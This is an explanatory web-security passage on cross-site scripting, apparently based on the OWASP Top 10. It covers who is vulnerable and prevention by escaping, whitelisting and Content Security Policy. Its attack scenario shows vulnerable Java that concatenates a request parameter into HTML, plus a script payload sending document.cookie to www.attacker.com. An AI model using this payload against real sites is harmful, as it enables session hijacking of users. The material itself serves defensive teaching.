XSS flaws occur whenever an application takes untrusteddata and sends
it to a web browser without proper validation and escaping. XSS allows
attackers to execute scripts in the victim’s browser which can hijack user
sessions, deface web sites, or redirect the user to malicious sites.
1)who is Vulnerable to XSS:
You need to ensure that all user supplied input sent back to
the browser is verified to be safe (via input validation), and that user input
is properly escaped before it is included in the output page. Proper output
encoding ensures that such input is always treated as text in the browser,
rather than active content that might get executed.Both static and dynamic
tools can find some XSS problems automatically. However, each application
builds output pages differently and uses different browser side interpreters
such as JavaScript, ActiveX, Flash, and Silverlight, which makes automated
detection difficult. Therefore, complete coverage requires a combination of
manual code review and manual penetration testing, in addition to any automated
approaches in use.Web 2.0 technologies, such as AJAX, make XSS much more
difficult to detect via automated tools.
manual code review and manual penetration testing, in addition to any automated
approaches in use.Web 2.0 technologies, such as AJAX, make XSS much more
difficult to detect via automated tools.
2)How to Prevent XSS attacks:
Preventing XSS requires keeping untrusteddata separate from active
browser content.
1.The preferred option is to properly escape
all untrusteddata based on the HTML context (body, attribute, JavaScript, CSS,
or URL) that the data will be placed into. Developers need to include this
escaping in their applications unless their UI framework does this for them.
2.Positive or “whitelist” input validation is
also recommended as it helps protect against XSS, but is not a complete defense
as many applications must accept special characters. Such validation should
decode any encoded input, and then validate the length, characters, and format
on that data before accepting the input.
3.Consider employing Mozilla’s new Content Security Policy that is
coming out in Firefox 4 to defend against XSS.
3)Attack scenario with
example:
The application uses untrusteddata in the construction of the following
HTML snippet without validation or escaping:
(String) page += "<input name='creditcard'
type='TEXT‘value='" + request.getParameter("CC") +
"'>";
The attacker modifies the ‘CC’ parameter in their browser to:
'><script>document.location='http://www.attacker.com/cgi-bin/cookie.cgi?foo='+document.cookie</script>'.
This causes the victim’s session ID to be sent to the attacker’s
website, allowing the attacker to hijack the user’s current session.
Note that attackers can also use XSS to defeat any automated
CSRF defense the application might employ. See A5 for info on CSRF.
